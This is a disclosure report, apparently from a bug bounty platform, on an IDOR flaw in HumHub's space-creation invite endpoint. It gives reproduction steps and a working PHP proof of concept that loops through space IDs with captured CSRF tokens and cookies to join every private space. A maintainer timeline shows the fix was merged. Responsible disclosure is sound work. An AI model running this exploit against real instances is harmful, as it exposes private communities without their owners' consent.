Authorization Bypass Through User-Controlled Key in humhub/humhub

Valid

Reported on

Dec 10th 2021


Description

Hello guys, hope you are having an awesome day! ūü§ó

HumHub has a functionality for spaces where you define that only invited users will be able to join a space. Private spaces come with this option but you can also define it for public ones.

While a user is creating a space, this user is requested to invite people to the new space, and this specific inviting endpoint, which is

https://example.com/space/create/invite?spaceId=ID_HERE

is vulnerable to an IDOR, which means that if you change the spaceId parameter to the ID of any other space, the invite will be sent to this different space, no matter if it's yours or not.

Steps to Reproduce

In order to reproduce it, I'm going to assume you are using Burp Suite, but any other proxy tool will work basically the same, or even the browsers' Dev Tools might suit our needs here.

1 => Having an instance of HumHub up and running, create one account (UserA) and then create some private spaces;

2 => Logout from the first account and create a second one (UserB). Going to the spaces page, you are going to see none of the previously created private spaces;

3 => Follow the normal steps of creating a new space, until you get to the step which asks you to invite people. Select a user but don't send anything yet;

4 => If you are using a proxy tool, turn on the mode which pauses/intercepts requests. If you are going to use just the browser, open the network tab of Dev Tools;

5 => Going back to the space creation steps, click on "done" and then look (in your proxy tool or dev tools) for a request pointing to /space/create/invite?spaceId=something

6 => From this request, you are going to need the data which is listed below. Store it elsewhere for a few moments.

1. The spaceId presented on the URL. // e.g.: 5
2. The X-CSRF-Token header // e.g.: X-CSRF-Token: RMO2UxPutPpAHzJ8G61RekAm6kisMFMoFyS8WYJxYOkbqdpqcbuFsBlXahN8niIXFxSiKchyG2VyU9RozgAGmw==
3. Your cookies // e.g.: Cookie: PHPSESSID=gum62u217vegimktf07jmodtdh; _identity=c8f37b6923cfa5b5300e342549200705bf64e25dfb10c0a279fdf1c60ffa7d53a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A50%3A%22%5B4%2C%22fff5af-ff1a6f8f71f-sagsag51-fafsadff%22%2C2592000%5D%22%3B%7D; _csrf=7101b890dc816f2f27f40ef0cc5fccbcde83f09cabbf268052813684b289c452a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22_jl9bU1JYHXog3smW2HadBHMewh1Lqfr%22%3B%7D
4. The request body //e.g.: _csrf=5DglQFCF-RYl3c2fUNGeG2Jk83ihD8qw8VJ1YO0SRmK7Ukl5MtDIXHyVlfA34u12NVa7GcVNgv2UJR1RoWMgEA%3D%3D&InviteForm%5Binvite%5D=&InviteForm%5Binvite%5D%5B%5D=04d7b10a-8a53-47fc-8cc2-70c0bc5a464f&InviteForm%5BinviteExternal%5D=

7 => Forward the requests if you are on a proxy tool. Now, from the request body, you will need to change the parameter InviteForm%5Binvite%5D%5B%5D (or InviteForm[invite][] if it's not url-encoded), from the originally invited user's guid to your own UserB guid. This can be found by opening a new tab and making a GET request to https://example.com/user/search/json?keyword=UserB_DISPLAY_NAME_HERE;

8 => Now create and run a .php file with the following PoC (don't forget to change the initial variables with the data you collected):

<?php

$spaceId = YOUR_SPACE_ID_NUMBER;
$baseURL = "https://YOUR_HOST/";
$requestBody = "YOUR_REQUEST_BODY";
$x_csrf_token = "X-CSRF-Token: YOUR_SUPER_COOL_TOKEN_HERE";
$cookies = "Cookie: YOUR_COOKIES";

$ch = curl_init();

// It goes from the last to the first space, in a way that the user get invited to
// all the private spaces
for( $i = $spaceId; $i >= 1; $i-- ) {
    curl_setopt($ch, CURLOPT_URL, $baseURL.'/space/create/invite?spaceId='.$i);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch,CURLOPT_POSTFIELDS, $requestBody);
    curl_setopt($ch,CURLOPT_HTTPHEADER,array(
        'X-Requested-With:XMLHttpRequest',
        $x_csrf_token,
        $cookies
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, TRUE);
    curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17');
    curl_setopt($ch, CURLOPT_AUTOREFERER, true); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

    $content = curl_exec($ch);
    
    if(curl_getinfo($ch,CURLINFO_HTTP_CODE) === 200) {
        echo "Invite received for ID = " . $i . " (if you are not already in)\n";
    }
}

?>

9 => Once it's done, go back to the spaces page as UserB, and see that they got invited to every single private group that UserA created.

Impact

This issue compromises the confidentiality of private spaces, once any authenticated user can have access to all of them without the permission of the spaces' owners.

We are processing your report and will contact the humhub team within 24 hours. a month ago
We have contacted a member of the humhub team and are waiting to hear back a month ago
We have sent a follow up to the humhub team. We will try again in 7 days. a month ago
A humhub/humhub maintainer validated this vulnerability a month ago
Breno Vitório has been awarded the disclosure bounty
The fix bounty is now up for grabs
A humhub/humhub maintainer
a month ago

Maintainer


Thank you! We'll be preparing a fix for this issue.

Lucas Bartholemy confirmed that a fix has been merged on 46004a a month ago
The fix bounty has been dropped